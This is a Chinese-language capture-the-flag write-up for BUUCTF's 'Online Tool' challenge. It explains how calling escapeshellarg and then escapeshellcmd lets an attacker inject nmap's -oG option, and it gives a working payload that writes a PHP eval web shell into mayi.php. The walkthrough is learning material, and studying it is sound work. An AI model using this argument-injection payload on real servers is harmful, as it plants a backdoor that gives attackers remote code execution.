escapeshellarg与escapeshellcmd共伤
前言
- 环境:buuctf中[BUUCTF 2018]Online Tool
- 知识点:escapeshellarg与escapeshellcmd共用漏洞
- 参考:wp
做题
审计
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
这题目也是看了好久的wp,太菜了
escapeshellarg
最主要的是会将传入的字符用单引号围起来,能使传入的字符当成字符,而不是shell命令了
就好比
<?php
$a=$_GET[a];
eval("echo $a".';');
如果没使用escapeshellarg就可以任意命令执行,如果使用了escapeshellarg
显然不会执行任意命令
escapeshellcmd
同样可以防止任意shell命令执行,因为它可以把&;之类的管道符转义掉
单独使用escapeshellarg
和escapeshellcmd
中任意一个都不会出现问题,或者先使用escapeshellcmd
再使用escapeshellarg
也不会出现问题,唯有题目中先escapeshellarg
在escapeshellcmd
会有漏洞
我们要rce,但是又不能拼接命令,就只能借用nmap参数,有-oG参数可以实现将命令和结果写到文件
我们payload为 1' shell '
escapeshellarg >> '1''' shell ''''
escapeshellcmd >> '1'\'' shell '\'''
这样其实我们的shell已经可以被执行了
就类似:
nmap -T5 -sT -Pn --host-timeout 2 -F '1'\'' shell '\'''
最后我们的payload:
' <?php @eval($_POST["mayi"]);?> -oG mayi.php '
这里有个疑问是php代码这里在本地测试时不加引号会报错,但是这里不加引号却有用,很迷。。
最后需要注意
为啥不可以 直接输入命令去执行?
因为经过escapeshellarg后会给2边加上单引号,此时放过去就类似 nmap '-oG...'
这样完全就没有作用了,开始没注意想了蛮久没明白。
需要注意的是 ;|& 等符号会被 escapeshellcmd 转义导致最后无效,所以尽管绕过了单引号,还是不能使用&;之类的字符执行任意命令
payload 记得空格哟
正确的样式:
' <?php @eval($_POST["mayi"]);?> -oG mayi.php '
$host = escapeshellarg($host);
>>> ''\'' <?php @eval($_POST["mayi"]);?> -oG mayi.php' \'''
$host = escapeshellcmd($host);
>>> ''\'' \<\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php' \\'''
# 等价于 \<\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php \\
# 根据解析规则
# 等价于 \<\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php
# 写入后 <?php @eval($_POST["mayi"]);?> -oG mayi.php
——————————————————————————————————————————
但是如果你的payload为:
?host=' <?php @eval($_POST["mayi"]);?> -oG mayi.php'
>>> ''\'' \<\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php'\\'''
>>> <?php @eval($_POST["mayi"]);?> -oG mayi.php\\
# 这样是不会被认为是php文件的。
#所以说必须后面要有 ‘ 而且前面要有空格哟。